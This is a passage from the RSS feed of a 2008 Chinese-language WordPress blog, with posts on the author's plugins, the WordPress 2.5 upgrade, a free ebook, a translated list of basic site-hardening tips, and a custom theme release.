<?php WSTS_ShowTwitter($LoginForm={true|Fals}) ?>
</pre>
<p>if using it without parameter, then it did&#8217;t show LoginForm before log in to your blog.<br />
Also, using &lt;?php WSTS_TweetForm() ?&gt; codes that it will show TweetForm.</p>
<p>Notice:<br />
Make sure Don&#8217;t using this plugins together with the other twitter api apps.</p>
<p>Download:<a href="http://labs.icyleaf.cn/wordpress/twitter-swell.zip">Twitter Swell 0.8</a></p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/05/twitter-swell/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WS Audio Player应急版For WordPress2.5</title>
		<link>http://icyleaf.com/2008/03/ws-audio-player-1-0-2/</link>
		<comments>http://icyleaf.com/2008/03/ws-audio-player-1-0-2/#comments</comments>
		<pubDate>Mon, 31 Mar 2008 03:13:07 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WS Audio Player]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/?p=174</guid>
		<description><![CDATA[WordPress2.5版本内置的TinyMCE富编辑器也跟着升级到了3.0版本，TinyMCE3.0版本改写了插件的结构导致我这个插件也和WP2.5造成了不兼容，目前我还没有来得及研究TinyMCE3.0插件的内部结构以及WP2.5为它的写的钩子（Hook）是否发生了变化。因为我在我WP后台的Trackback发现很多外国的朋友中有一些在用我的这个插件做音乐介绍，为了保证他们正常的使用，我特作了WP2.5的应急版本，删除掉了富编辑器模式（Visual）下的按钮，大家可以通过CODE模式（HTML）点击名为MP3的按钮来添加音乐。同时我在有时间的时候会好好研究下WordPress2.5与TinyMCE的内部结构，我也希望能在未来的几天内释出完全支持WP2.5版本的WS Audio Player插件。 同时也感谢大家的使用和支持。谢谢！ WordPress 2.5 was recently released and that it includes TinyMCE 3 by default. it made many plugins is&#8217;t to work,includes ws audio player. so i release a emergency version for wordpress 2.5. Delete insert mp3 button &#8230; <a href="http://icyleaf.com/2008/03/ws-audio-player-1-0-2/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>WordPress2.5版本内置的TinyMCE富编辑器也跟着升级到了3.0版本，TinyMCE3.0版本改写了插件的结构导致我这个插件也和WP2.5造成了不兼容，目前我还没有来得及研究TinyMCE3.0插件的内部结构以及WP2.5为它的写的钩子（Hook）是否发生了变化。因为我在我WP后台的Trackback发现很多外国的朋友中有一些在用我的这个插件做音乐介绍，为了保证他们正常的使用，我特作了WP2.5的应急版本，删除掉了富编辑器模式（Visual）下的按钮，大家可以通过CODE模式（HTML）点击名为<strong>MP3</strong>的按钮来添加音乐。同时我在有时间的时候会好好研究下WordPress2.5与TinyMCE的内部结构，我也希望能在未来的几天内释出完全支持WP2.5版本的WS Audio Player插件。<br />
同时也感谢大家的使用和支持。谢谢！</p>
<p>WordPress 2.5  was recently released and that it includes TinyMCE 3 by default. it made many plugins is&#8217;t to work,includes ws audio player. so i release a  emergency version for wordpress 2.5. <strong>Delete insert mp3 button in &#8220;Visual mode&#8221;, you can use it in &#8220;HTML mode&#8221;</strong>.<strong> </strong>i hope this will make everthing is ok that who use my plugins. I also hoped that the new release support WP2.5 edition completely WS Audio the Player plug-in unit in future several days.<br />
thanks to everybody&#8217;s use and supports.</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/03/ws-audio-player-1-0-2/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>关于WordPress2.5和插件那档子的事</title>
		<link>http://icyleaf.com/2008/03/wordpress25-and-plug-ins-on-the-stalls-of-the-matter/</link>
		<comments>http://icyleaf.com/2008/03/wordpress25-and-plug-ins-on-the-stalls-of-the-matter/#comments</comments>
		<pubDate>Sun, 30 Mar 2008 07:12:02 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WS Audio Player]]></category>
		<category><![CDATA[WS Tools Bar]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/?p=173</guid>
		<description><![CDATA[WordPress2.5应该是今天的凌晨1点多发布的，当时我在用手机上Twitter，看到漫步同学发布的消息。事实上我昨天下午才把我的Demo WP的版本升级至2.5 rc3版本，没想到凌晨就发布了正式版。貌似和rc3版本没什么大的差别，后台什么的变化挺大的。最主要的是这次升级修改了很多的地方： 1.全新的用户管理界面 2.更加简洁实用的后台管理菜单 3.Widgets 管理的显著增强 4.区域化的后台首页显示 5.增强的可视化编辑器 6.非常实用的一键升级插件功能 7.Flash 效果的上传文件管理 8.标签管理 同时这次的升级也导致了很多插件的不兼容，所以大家在升级前一定要把所有的配置插件停掉，再用 Instant Upgrade 插件 或者 WordPress Automatic Upgrade插件来完成一键升级。这两个插件我测试过，没有问题，这次的升级我就是用的这两个插件。 下面说下这次升级带来的好处和坏处。 好处还是蛮多的，比如系统的速度整体提高上去了，后台的现在也非常的漂亮，尤其是我们再写日志时用的那个富编辑器，也增加了不少功能，可以直接淘汰掉tinymce advanced这个插件了。好像连simple tag也可以省略掉了吧？另外WP的母公司把gravatar也给收购了，又省去一个插件，如何看来以后每次wordpress的大升级就会导致一些优秀化的东西废弃或者被收购&#8230;. 坏处嘛，其实主要就是插件兼容性的事情，很不幸的是我写的两个插件在其中&#8230;后面再说我那两个插件的事情。并附上一份WordPress2.5部分可用插件的列表：猛戳我 此外就是后台的结构布局我还是不满意，想进入某个2级菜单则必须进入其主菜单，而且本来的分类还很多，这次升级后某些都合并在了一起，寻找起来有些麻烦。而且后台模板没有分辨率自适应，仅适合1024&#215;768的分辨率，我目前用的是1280&#215;1024，所以后台的右边有一部分空了出来，让人感觉很不舒服&#8230; 下面说说我那两个插件： WS Tools Bar这个插件我不准备在升级了，因为我在WordPress官方的插件库发现基本上没有人在下载，而且国内也没有需求量，直接废弃掉吧，如果某位有需要，我会提供一些技术上的支持：） WS Audio Player这个插件我还会更新下去，首先要解决的是支持WordPress2.5版本的问题，恩&#8230;凑时间研究下心的tinymce编辑器。 废话就这么多了，核心内容其实没什么，就是想借WordPress2.5发布的事说下我那两个插件的问题，由于没有太多东西，就胡乱扯了一番。呵呵]]></description>
			<content:encoded><![CDATA[<p>WordPress2.5应该是今天的凌晨1点多发布的，当时我在用手机上Twitter，看到<a href="http://twitter.com/roamlog/statuses/779185154" target="_self">漫步</a>同学发布的消息。事实上我昨天下午才把我的Demo WP的版本升级至2.5 rc3版本，没想到凌晨就发布了正式版。貌似和rc3版本没什么大的差别，后台什么的变化挺大的。最主要的是这次升级修改了很多的地方：<br />
<strong>1.全新的用户管理界面<br />
2.更加简洁实用的后台管理菜单<br />
3.Widgets 管理的显著增强<br />
4.区域化的后台首页显示<br />
5.增强的可视化编辑器<br />
6.非常实用的一键升级插件功能<br />
7.Flash 效果的上传文件管理<br />
8.标签管理</strong></p>
<p>同时这次的升级也导致了很多插件的不兼容，所以大家在升级前一定要把所有的配置插件停掉，再用 <a href="http://www.zirona.com/software/wordpress-instant-upgrade">Instant Upgrade</a> 插件 或者 <a href="http://www.noupe.com/how-tos/wordpress-security-tips-and-hacks.html">WordPress Automatic Upgrade</a>插件来完成一键升级。这两个插件我测试过，没有问题，这次的升级我就是用的这两个插件。</p>
<p>下面说下这次升级带来的好处和坏处。<br />
好处还是蛮多的，比如系统的速度整体提高上去了，后台的现在也非常的漂亮，尤其是我们再写日志时用的那个富编辑器，也增加了不少功能，可以直接淘汰掉tinymce advanced这个插件了。好像连simple tag也可以省略掉了吧？另外WP的母公司把gravatar也给收购了，又省去一个插件，如何看来以后每次wordpress的大升级就会导致一些优秀化的东西废弃或者被收购&#8230;.</p>
<p>坏处嘛，其实主要就是插件兼容性的事情，很不幸的是我写的两个插件在其中&#8230;后面再说我那两个插件的事情。并附上一份WordPress2.5部分可用插件的列表：<a href="http://www.stcfx.com/2008/03/23/wordpress-25-working-plugins/" target="_self">猛戳我</a><br />
此外就是后台的结构布局我还是不满意，想进入某个2级菜单则必须进入其主菜单，而且本来的分类还很多，这次升级后某些都合并在了一起，寻找起来有些麻烦。而且后台模板没有分辨率自适应，仅适合1024&#215;768的分辨率，我目前用的是1280&#215;1024，所以后台的右边有一部分空了出来，让人感觉很不舒服&#8230;</p>
<p>下面说说我那两个插件：<br />
<a href="http://www.icyleaf.cn/2007/12/01/wordpress-plugin-ws-tools-bar/" target="_self">WS Tools Bar</a>这个插件我不准备在升级了，因为我在WordPress官方的插件库发现基本上没有人在下载，而且国内也没有需求量，直接废弃掉吧，如果某位有需要，我会提供一些技术上的支持：）<br />
<a href="http://www.icyleaf.cn/2007/11/05/wordpress-plugin-ws-audio-player-09-released/" target="_self">WS Audio Player</a>这个插件我还会更新下去，首先要解决的是支持WordPress2.5版本的问题，恩&#8230;凑时间研究下心的tinymce编辑器。</p>
<p>废话就这么多了，核心内容其实没什么，就是想借WordPress2.5发布的事说下我那两个插件的问题，由于没有太多东西，就胡乱扯了一番。呵呵</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/03/wordpress25-and-plug-ins-on-the-stalls-of-the-matter/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>如何使用WordPress完美搭建商业利益网站</title>
		<link>http://icyleaf.com/2008/03/how-to-use-wordpress-perfect-structures-commercial-interests-site/</link>
		<comments>http://icyleaf.com/2008/03/how-to-use-wordpress-perfect-structures-commercial-interests-site/#comments</comments>
		<pubDate>Sun, 16 Mar 2008 02:07:00 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[手册]]></category>
		<category><![CDATA[教程]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/2008/03/16/how-to-use-wordpress-perfect-structures-commercial-interests-site/</guid>
		<description><![CDATA[这是一本由來自英国的程序员 Caroline 制作的关于如何使用WordPressWordPress搭建商业化网站从而简单的获取利益的电子书，在他的博客上面提供免费的下载。（点击下面的图片即可下载） 同时也在不断的更新，目前此书为修订版1.4版本。本电子书共43页，下面列举每章的目录： 第1章: 获取安装WordPress（Getting and Installing WordPress） 第2章: 初步掌握WordPress管理(Basic WordPress Administration.) 10 第3章: 安装新主题(Installing a New Theme.) 13 第4章: 在网站上面设置广告(Setting up Adsense On Your Site.) 16 第5章: WordPress插件(WordPress Plugins.) 20 第6章: 创建网站内容(Creating Your Site Content) 第7章: 结尾，后话(Final Thoughts) &#8230; <a href="http://icyleaf.com/2008/03/how-to-use-wordpress-perfect-structures-commercial-interests-site/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>这是一本由來自英国的程序员 <a href="http://www.caroline-middlebrook.com/blog/about/" target="_blank">Caroline</a> 制作的关于如何使用WordPressWordPress搭建商业化网站从而简单的获取利益的电子书，在他的博客上面提供免费的下载。（点击下面的图片即可下载）<br />
<a href="http://www.caroline-middlebrook.com/blog/files/NicheSitesWP.pdf" target="_blank" title="How to Develop Money-Making Niche Sites with WordPress"><img src="http://www.caroline-middlebrook.com/blog/images/WPsmall.jpg" style="display: inline; width: 205px; height: 251px" alt="JPG" height="251" width="205" /></a></p>
<p style="text-align: left">同时也在不断的更新，目前此书为修订版1.4版本。本电子书共43页，下面列举每章的目录：<br />
<span class="MsoHyperlink"><span>第1章: 获取安装WordPress（Getting and Installing WordPress）<br />
</span></span><span class="MsoHyperlink"><span><span class="MsoHyperlink"><span>第2章</span></span>: 初步掌握WordPress管理(Basic WordPress Administration<span style="display: none; text-decoration: none; color: #000000"><span>.)</span></span> <span style="display: none; text-decoration: none; color: #000000">10<br />
</span></span></span><span class="MsoHyperlink"><span><span class="MsoHyperlink"><span>第3章</span></span>: 安装新主题(Installing a New Theme<span style="display: none; text-decoration: none; color: #000000"><span>.)</span></span> <span style="display: none; text-decoration: none; color: #000000">13<br />
</span></span></span><span class="MsoHyperlink"><span><span class="MsoHyperlink"><span>第4章</span></span>: 在网站上面设置广告(Setting up Adsense On Your Site<span style="display: none; text-decoration: none; color: #000000"><span>.)</span></span> <span style="display: none; text-decoration: none; color: #000000">16<br />
</span></span></span><span class="MsoHyperlink"><span><span class="MsoHyperlink"><span>第5章</span></span>: WordPress插件(WordPress Plugins<span style="display: none; text-decoration: none; color: #000000"><span>.)</span></span> <span style="display: none; text-decoration: none; color: #000000">20<br />
</span></span></span><span class="MsoHyperlink"><span><span class="MsoHyperlink"><span>第6章</span></span>: 创建网站内容(Creating Your Site Content)<br />
</span></span><span class="MsoHyperlink"><span><span class="MsoHyperlink"><span>第7章</span></span>: 结尾，后话(Final Thoughts)<br />
</span></span><span class="MsoHyperlink"><span>附录 1: 使用FTP上传文件(Uploading Using FTP)<span style="display: none; text-decoration: none; color: #000000">33<br />
</span></span></span><span class="MsoHyperlink"><span><span class="MsoHyperlink"><span>附录</span></span> 2: WordPress周边资源(External Resources)</span></span></p>
<p style="text-align: left">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/03/how-to-use-wordpress-perfect-structures-commercial-interests-site/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>WordPress安全保密hacks</title>
		<link>http://icyleaf.com/2008/03/wordpress-security-tips-and-hacks/</link>
		<comments>http://icyleaf.com/2008/03/wordpress-security-tips-and-hacks/#comments</comments>
		<pubDate>Mon, 03 Mar 2008 08:18:37 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Tip]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/2008/03/03/wordpress-security-tips-and-hacks/</guid>
		<description><![CDATA[现使用使用WordPress系统的blogger在不断的日增，我发现国内基本上还没有多少的blogger关于WordPress的安全性问题，当然WordPress是一个优秀的博客系统，安全性也算是比较高，但是无论怎么样，在功能性，舒适性之前，最先考虑的其实是安全性。尤其是在一个人成功的使用WordPress获得成功（高知名度，高IP/PV等）时，也许会有心怀不轨的人想尽一切办法黑掉或者把数据破坏等非法的事情。下面我把 Noupe 提出的10条安全性建议翻译出来供大家参考： 1. 不允许任何人搜索到你的服务器信息 1).不要在Search.php文件中使用这些搜索代码 from WPDesigner.com 例如： 请使用下面的代码代替上面的代码： 2).阻止搜索引擎（搜索爬虫）搜索以WP-为开头的文件夹里面的文件。最方面的阻止方法就是在博客根目录建立robots.txt文件，并在里面添加： Disallow: /wp-* 2. 不要把目录以网页列表的形式暴露出来 WordPress有一个潜在性的问题可以使得其他用户查看你的博客的插件目录以及版本号。你可以尝试的在你的博客上后加上&#8221;/wp-content/plugins/&#8221;看看效果。例如，你的博客地址是： http://www.icyleaf.com 加上之后就为： http://www.icyleaf.com/wp-content/plugins/ 是不是可以显示出来，同样的我测试了下，themes文件夹也可以显示的。 解决方案有2种，第一就是在plugins和themes文件夹下面分别建一个名为index.htm的空文件即可；第二是在.htaccess文件添加下面的参数即可： Options All -Indexes 3. 把你的版本号从Meta标签中删除掉 一般来说，默认的WordPrss以及网友制作的主题的header.php文件都会有你使用的WordPress版本号的meta标签（下面）。这极易有可能你因没有及时升级因旧版本暴露的漏洞让黑客们利用。建议删除掉这个标签。这里还有 Matt Cutts 提出的不错建议。 翻译者按：为什么网友制作的主题也会添加这个标签呢，主要是默认版本的在这个标签的后面有一个注解： 4. 捍卫你的wp-admin文件夹 攻击者常常会使用一些暴力破解软件或者利用社会工程学来破解WordPress用户设置的弱口令（简单，常用的密码）。下面收集了防范的一些方法可以有效的阻止这种事情发生。 翻译者按：一个强而复杂的密码是就是非常强悍的防范措施了：） 1).通过限制IP地址访问wp-admin文件夹 此方法是用在.htaccess文件添加某些配置来限制某些具体的IP地址访问wp-admin文件夹 2).AskApache Password Protect &#8230; <a href="http://icyleaf.com/2008/03/wordpress-security-tips-and-hacks/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.infectedfx.net/wp-content/uploads/2007/07/wp_locked.jpg" alt="WordPress Security" style="width: 250px; height: 250px" height="250" width="250" /><br />
现使用使用WordPress系统的blogger在不断的日增，我发现国内基本上还没有多少的blogger关于WordPress的安全性问题，当然WordPress是一个优秀的博客系统，安全性也算是比较高，但是无论怎么样，在功能性，舒适性之前，最先考虑的其实是安全性。尤其是在一个人成功的使用WordPress获得成功（高知名度，高IP/PV等）时，也许会有心怀不轨的人想尽一切办法黑掉或者把数据破坏等非法的事情。下面我把 <a href="http://www.noupe.com/how-tos/wordpress-security-tips-and-hacks.html" target="_blank">Noupe</a> 提出的10条安全性建议翻译出来供大家参考：</p>
<p><strong>1. 不允许任何人搜索到你的服务器信息</strong><br />
1).<a href="http://www.wpdesigner.com/2008/01/30/wordpress-tips-part-1/" target="_blank">不要在Search.php文件中使用这些搜索代码</a> from WPDesigner.com<br />
例如：<br />
<coolcode lang="php"><?php echo $_SERVER ['PHP_SELF']; ?></coolcode><br />
请使用下面的代码代替上面的代码：<br />
<coolcode lang="php"><?php bloginfo ('home'); ?></coolcode><br />
2).阻止搜索引擎（搜索爬虫）搜索以WP-为开头的文件夹里面的文件。最方面的阻止方法就是在博客根目录建立robots.txt文件，并在里面添加：<br />
<coolcode>Disallow: /wp-* </coolcode></p>
<p><strong>2. 不要把目录以网页列表的形式暴露出来</strong><br />
WordPress有一个潜在性的问题可以使得其他用户查看你的博客的插件目录以及版本号。你可以尝试的在你的博客上后加上&#8221;/wp-content/plugins/&#8221;看看效果。例如，你的博客地址是：</p>
<p>http://www.icyleaf.com</p>
<p>加上之后就为：</p>
<p>http://www.icyleaf.com/wp-content/plugins/</p>
<p>是不是可以显示出来，同样的我测试了下，themes文件夹也可以显示的。<br />
解决方案有2种，第一就是在plugins和themes文件夹下面分别建一个名为index.htm的空文件即可；第二是在.htaccess文件添加下面的参数即可：<br />
<coolcode>Options All -Indexes</coolcode><br />
<span id="more-154"></span></p>
<p><strong>3. 把你的版本号从Meta标签中删除掉</strong><br />
一般来说，默认的WordPrss以及网友制作的主题的header.php文件都会有你使用的WordPress版本号的meta标签（下面）。这极易有可能你因没有及时升级因旧版本暴露的漏洞让黑客们利用。建议删除掉这个标签。这里还有 <a href="http://www.mattcutts.com/blog/three-tips-to-protect-your-wordpress-installation/" target="_blank">Matt Cutts</a> 提出的不错建议。<br />
<coolcode lang="php"><br />
<meta name="generator" content="WordPress &lt;?php bloginfo('version'); ?&gt;" /><br />
</coolcode><br />
翻译者按：为什么网友制作的主题也会添加这个标签呢，主要是默认版本的在这个标签的后面有一个注解：<br />
<coolcode lang="php"><!-- leave this for stats --></coolcode></p>
<p><strong>4. 捍卫你的wp-admin文件夹</strong><br />
攻击者常常会使用一些暴力破解软件或者利用社会工程学来破解WordPress用户设置的弱口令（简单，常用的密码）。下面收集了防范的一些方法可以有效的阻止这种事情发生。<br />
翻译者按：一个强而复杂的密码是就是非常强悍的防范措施了：）<br />
1).<a href="http://www.reubenyau.com/protecting-the-wordpress-wp-admin-folder/" target="_blank">通过限制IP地址访问wp-admin文件夹</a><br />
此方法是用在.htaccess文件添加某些配置来限制某些具体的IP地址访问wp-admin文件夹<br />
2).<a href="http://www.askapache.com/wordpress/htaccess-password-protect.html" target="_blank">AskApache Password Protect</a><br />
这是一个WordPress插件的名字，非常的简单好用，它可以为访问wp-admin文件夹的用户设置一个二级密码保护同时也把信息写在.htaccess文件中，只有输入正确的用户名和密码就才能访问后台。点击<a href="http://downloads.wordpress.org/plugin/askapache-password-protect.zip">这里</a>直接下载试用吧！<br />
3).<a href="http://www.bad-neighborhood.com/login-lockdown.html">Login Lockdown plugin</a><br />
同样也是一个WordPress插件，他的好处就在于，他可以记录每一次登陆失败时使用者的IP地址和登录时间。当达到你设定的失败次数，插件的特定函数会阻止此IP地址的使用者继续登录操作。</p>
<p><strong>5. 注意保持及时更新</strong><br />
你最好需要保证你的插件，主题以及使用的WordPress的版本的不断更新，这里建议你订阅你使用的插件，主题作者的博客以保证及时获得最新的更新消息。</p>
<p><strong>6. 定期备份博客的数据库</strong><br />
这是一个持久的事情，你需要经常性的或者定期性的备份你博客的数据库，对于数据库的备份我们可以使用 <a href="http://www.ilfilosofo.com/blog/wp-db-backup/">WordPress Database Backup</a> 插件来完成定期备份。<br />
翻译者按：我使用的是 <a href="http://lesterchan.net/wordpress/readme/wp-dbmanager.html">WP-DBManager</a> 插件（<a href="http://parandroid.com/pocket/wordpress-plugins/wp-plugin-wp-dbmanager-database-backup-plug-in-management.html">使用方法</a>），同样也可以实现定期备份。</p>
<p><strong>7. 升级你的WordPress为最新版本</strong><br />
也许这才是第一件要做的事情，呵呵(^___^)。在升级之前一定要备份好一些数据和你认为改备份的东西，至于升级可以使用 <a href="http://www.zirona.com/software/wordpress-instant-upgrade">Instant Upgrade</a> 插件 或者 <a href="http://www.noupe.com/how-tos/wordpress-security-tips-and-hacks.html">WordPress Automatic Upgrade</a>插件来完成。</p>
<p><strong>8. 使用SSH/Shell方式代替FTP登录操作</strong><br />
这里有一些很好的建议，点击<a href="http://www.online-tech-tips.com/blogging/8-security-tips-and-guidelines-for-your-wordpress-blog/">这里</a>查看。如果某人获得了你的FTP的登录信息（当然包括密码咯），他们就可以在登录后胡作非为的，这是很可怕的事情哦&#8230;而使用SSH/Shell你就大可放心，因为他们的任何传输都是通过加密的，保证安全性！<br />
翻译者按：<br />
其实像FlashFXP这类的软件其安全性很差的，很容易就能获得你保存的个人登录信息。点<a href="http://http://www.namipan.com/d/putty-with-doc.zip/d41b7af9c4df226d8d17c99a3e386bce72884198895a0400">这里</a>下载Putty客户端（里面我添加了一些常用的Shell命令的帮助信息）。其实它的操作一切按照Linux下面的命令：）</p>
<p><strong>9.不要再担忧你的wp-config.php文件</strong><br />
通过在.htaccess文件添加下面的配置会使你的wp-config.php文件里面的配置信息（数据库地址，用户名和密码）更加安全可靠。<br />
<coolcode><filesmatch>deny from all</filesmatch></coolcode></p>
<p><strong>10. 为你的WordPress用户设置一个强悍的密码</strong><br />
翻译者按：这段我就不过多翻译了，因为我也写过这方面的文章（《黑客手册》某期，不好意思我忘记是哪期了），这里我就以我的思路给大家一些方法。<br />
大家都知道一个强悍的密码应包括字母，数字和一些特殊符号组成，如果你设置了一个Sfd@#35，这个谁也记不着。其实一个强悍的密码看着复杂如果你知道了敲门其实一点也不难记忆，而且非常有规律，这里我举一个最简单的例子：<br />
<coolcode>1+1=two</coolcode><br />
是不是很简单，1+1=2这是很简单的数学算式，小学一年级的都会的（现在的小学一年级有英语了吧，就算没有学前教育的父母也应该逼着他们学了吧）。这个密码完全符合一个强悍的密码的定义。再例如：<br />
<coolcode>zxasqw12`</coolcode><br />
或许猛的一看，这个是什么呀，没什么规律嘛，其实你安装这个密码自己尝试下就明白了，这个方法我称之为键盘分布法。另外还有所问非所答法，例如：<br />
<coolcode><br />
1+1=one<br />
1+2=twelve<br />
1+1=ten<br />
</coolcode><br />
方法还有很多，发挥你的想象力，总会出现奇迹的！</p>
<p>以上就是所有的翻译内容外加上我的一些意见，如果你在操作中遇到什么问题可以和我联系，或在下面留言：）</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/03/wordpress-security-tips-and-hacks/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>freicurv MOD纪念</title>
		<link>http://icyleaf.com/2008/02/freicurv-mod-memorial/</link>
		<comments>http://icyleaf.com/2008/02/freicurv-mod-memorial/#comments</comments>
		<pubDate>Thu, 28 Feb 2008 03:10:29 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[MOD]]></category>
		<category><![CDATA[Themes]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/2008/02/28/freicurv-mod-memorial/</guid>
		<description><![CDATA[这个主题的原始版本修改自 Freicurv 主题，做这个主题的最初原因主要是应为想做成 Pownce 主题的效果。主体的部分你和背景呈半透明状，Freicurv 的这个原始主题是一个纯白色的，现在感觉有些厌恶背景是白色，原因有2： 1.白色费电- - 2.看时间长了容易眼疲劳。 这个主题让我学到了很多做主题的知识，很棒的一个主题，里面基本上框架的东西没有修改多少，主要是css及图片，其中部分图片还是从pownce扣下来的，呵呵(^___^)，发现我从pownce拿到的东西太多了~ 半透明的效果，就是使用透明度不是100%的PNG图片放在背景图片的上面即可，对于我来说，公司的机器都是IE6，而且IE6不支持PNG图片，这个让我很是无奈，记得当时痛恨为什么世界上还有那么多IE6的使用者。没过多久微软以升级补丁的方式强制用户升级之IE7，但据后来报道其实IE6的份额还是没有减少多少，尤其是在中国，估计是怕升级之后，不断的提示“您可能是WINDOWS盗版软件的受害者”而关闭了自动升级&#8230;为了不影响显示效果，我在header.php添加了浏览器类型判断，如果是IE6用户就会显示 Freicurv 的最初版本。 本来有打算一直用下去这个主题， 个人感觉良好，嘿嘿～后来很多朋友都说我这个主题看着太花了，只好换之。今特留此纪念。 同时放出这个MOD版本的下载地址以及上次 sIMPRESS MOD 的MOD版本的下载地址，有喜欢的朋友赶紧下哦～ 另外就是有一个饭否和Twitter的显示，随机显示上面的最新&#8221;叨唠&#8221;，如果有打算使用这个主题的话，请修改 intro.php 文件，而且images文件夹包括logo的PSD文件。 freicurv MOD Version: Download@纳米盘 &#124; Download@Fs2You (s)impress MOD Version: Click Here to download]]></description>
			<content:encoded><![CDATA[<p><a href="http://photo1.bababian.com/upload7/20080228/D474D8503693DFA2233DC62B4057F3F4.jpg" onclick="return hs.expand(this, {captionId:'caption_1204166864390'});" class="highslide-image"><img src="http://photo1.bababian.com/upload7/20080228/D474D8503693DFA2233DC62B4057F3F4_500.jpg" style="width: 262px; height: 363px" alt="image" title="Click to enlarge" align="left" height="363" width="262" /></a>这个主题的原始版本修改自 <a href="http://www.flisterz.com/2007/12/02/freicurv-wordpress-theme/" target="_blank">Freicurv</a> 主题，做这个主题的最初原因主要是应为想做成 <a href="http://pownce.com/icyleaf">Pownce</a> 主题的效果。主体的部分你和背景呈半透明状，Freicurv 的这个原始主题是一个纯白色的，现在感觉有些厌恶背景是白色，原因有2：<br />
1.白色费电- -<br />
2.看时间长了容易眼疲劳。</p>
<p>这个主题让我学到了很多做主题的知识，很棒的一个主题，里面基本上框架的东西没有修改多少，主要是css及图片，其中部分图片还是从pownce扣下来的，呵呵(^___^)，发现我从pownce拿到的东西太多了~<br />
半透明的效果，就是使用透明度不是100%的PNG图片放在背景图片的上面即可，对于我来说，公司的机器都是IE6，而且IE6不支持PNG图片，这个让我很是无奈，记得当时痛恨为什么世界上还有那么多IE6的使用者。没过多久微软以升级补丁的方式强制用户升级之IE7，但据后来报道其实IE6的份额还是没有减少多少，尤其是在中国，估计是怕升级之后，不断的提示“您可能是WINDOWS盗版软件的受害者”而关闭了自动升级&#8230;为了不影响显示效果，我在header.php添加了浏览器类型判断，如果是IE6用户就会显示 Freicurv 的最初版本。</p>
<p>本来有打算一直用下去这个主题， 个人感觉良好，嘿嘿～后来很多朋友都说我这个主题看着太花了，只好换之。今特留此纪念。</p>
<p>同时放出这个MOD版本的下载地址以及上次 sIMPRESS MOD 的MOD版本的下载地址，有喜欢的朋友赶紧下哦～<br />
另外就是有一个饭否和Twitter的显示，随机显示上面的最新&#8221;叨唠&#8221;，如果有打算使用这个主题的话，请修改 intro.php 文件，而且images文件夹包括logo的PSD文件。</p>
<p>freicurv MOD Version: <a href="http://www.namipan.com/d/freicurv.zip/d07c769395d9442da69bb65e6519199a1acf861036bc0700" target="_blank">Download</a>@纳米盘 | <a href="http://www.fs2you.com/files/7be6cea3-e5aa-11dc-b5d8-0014221f4662/" target="_blank">Download</a>@Fs2You</p>
<p>(s)impress MOD Version: <a href="http://www.icyleaf.cn/2007/11/18/simpress-mod-memorial/" target="_blank">Click Here to download</a></p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/02/freicurv-mod-memorial/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

